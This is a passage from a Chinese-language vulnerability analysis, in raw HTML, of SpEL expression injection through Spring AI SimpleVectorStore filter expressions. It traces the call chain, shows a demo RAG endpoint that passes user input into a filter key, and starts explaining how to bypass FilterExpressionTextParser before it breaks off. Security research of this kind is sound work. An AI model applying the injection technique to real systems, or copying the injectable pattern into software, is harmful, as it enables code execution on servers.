leaf=""> 。该函数会将过滤条件直接通过 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">StandardEvaluationContext</span></code><span leaf=""> 函数进行解析，存在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> 表达式注入风险：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2222222222222222" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009101" src="https://wechat2rss.xlab.app/img-proxy/?k=97b4a1ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkGsEmF93HJwmvZkAa1Nxqwy45OkS05yNO4sG5OtelicWhoYSicsuAf8x7ddugO0BAJFj1fXOvMML6wQ8jVRDsoxVOtrIiaCe0Jw8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">搜索 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">doFilterPredicate</span></code><span leaf=""> 被调用的点，可以找到 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">similaritySearch</span></code><span leaf=""> 函数：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span leaf="">SimpleVectorStore.doFilterPredicate(SearchRequest)</span><span leaf=""><br/></span><span leaf="">    SimpleVectorStore.doSimilaritySearch(SearchRequest)</span><span leaf=""><br/></span><span leaf="">        AbstractObservationVectorStore.similaritySearch(SearchRequest)</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">similaritySearch</span></code><span leaf=""> 函数会使用向量数据库的嵌入模型，将查询的问题转换为多维向量。一个典型的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">RAG</span></code><span leaf=""> 查询 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">demo</span></code><span leaf=""> 如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">@PostMapping(&#34;/query&#34;)</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">public</span></span><span leaf=""> ResponseEntity&lt;SimpleQueryResponse&gt;</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> simpleQuery</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf="">@RequestBody</span></span><span leaf=""> SimpleQuery simpleQuery)</span></span><span leaf=""> {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    String</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> result</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> =</span></span><span leaf=""> ragService.query(simpleQuery);</span><span leaf=""><br/></span><span leaf="">...</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">public</span></span><span leaf=""> String</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> query</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(SimpleQuery sr)</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    Filter.</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">Expression</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> maliciousExpr</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> =</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> new</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> Filter</span></span><span leaf="">.Expression(</span><span leaf=""><br/></span><span leaf="">            Filter.ExpressionType.EQ,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">            new</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> Filter</span></span><span leaf="">.Key(sr.getFilterExpression()),</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">            new</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> Filter</span></span><span leaf="">.Value(</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#34;anything&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    );</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    SearchRequest</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> searchRequest</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> =</span></span><span leaf=""> SearchRequest.builder()</span><span leaf=""><br/></span><span leaf="">            .query(sr.getQuery())</span><span leaf=""><br/></span><span leaf="">            .topK(sr.getTopK())</span><span leaf=""><br/></span><span leaf="">            .similarityThreshold(sr.getSimilarityThreshold())</span><span leaf=""><br/></span><span leaf="">            .filterExpression(maliciousExpr)</span><span leaf=""><br/></span><span leaf="">            .build();</span><span leaf=""><br/></span><span leaf="">    List&lt;Document&gt; similarDocuments = vectorStore.similaritySearch(searchRequest);</span></code></pre><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);border-image: initial;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0px 12px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 18px;font-weight: bold;color: rgb(63, 63, 63);border-radius: 6px;line-height: 2.4em;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">Bypass FilterExpressionTextParser</span></h3><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">为了进入 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">StandardEvaluationContext</span></code><span leaf=""> 处理逻辑，传递过来的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">filterExpression</span></code><span leaf=""> 需要非空，格式如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">/**</span><span leaf=""><br/></span><span leaf=""> * Triple that represents and filter boolean expression as</span><span leaf=""><br/></span><span leaf=""> * &lt;code&gt;left type right&lt;/code&gt;.</span><span leaf=""><br/></span><span leaf=""> *</span><span leaf=""><br/></span><span leaf=""> *</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> @param</span></span><span leaf=""> type Specify the expression type.</span><span leaf=""><br/></span><span leaf=""> *</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> @param</span></span><span leaf=""> left For comparison and inclusion expression types, the operand must be of</span><span leaf=""><br/></span><span leaf=""> * type {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">@link</span></span><span leaf=""> Key} and for the AND|OR expression types the left operand must be</span><span leaf=""><br/></span><span leaf=""> * another {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">@link</span></span><span leaf=""> Expression}.</span><span leaf=""><br/></span><span leaf=""> *</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> @param</span></span><span leaf=""> right For comparison and inclusion expression types, the operand must be of</span><span leaf=""><br/></span><span leaf=""> * type {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">@link</span></span><span leaf=""> Value} or array of values. For the AND|OR type the right operand must</span><span leaf=""><br/></span><span leaf=""> * be another {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">@link</span></span><span leaf=""> Expression}.</span><span leaf=""><br/></span><span leaf=""> */</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">public</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> record</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> Expression</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(ExpressionType type, Operand left, Operand right)</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""> implements</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> Operand</span></span><span leaf=""> {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf=""><br/></span><span leaf="">    public</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(210, 168, 255);"><span leaf=""> Expression</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);"><span leaf="">(ExpressionType type, Operand operand)</span></span><span leaf=""> {</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 166, 87);"><span leaf=""><br/></span><span leaf="">        this</span></span><span leaf="">(type, operand,</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> null</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">filterExpression</span></code><span leaf=""> 对象由 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Key</span></code><span leaf=""> 、</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Type</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Value</span></code><span leaf=""> 组成。同时注意存在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">FilterExpressionTextParser</span></code><span leaf=""> 过滤检查：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5953703703703703" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009102" src="https://wechat2rss.xlab.app/img-proxy/?k=e4d98337&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLlqSN00lO2C4QuWtSSp88qKhP5cgiavFmuasuplAGMY8HwkNK8oXjML94tKCLgucibicS9mqq2U9hFaA5Yftr121icGSODt5bYXjEI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">convertExpression</span></code><span leaf=""> 将 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">filter.Expression</span></code><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 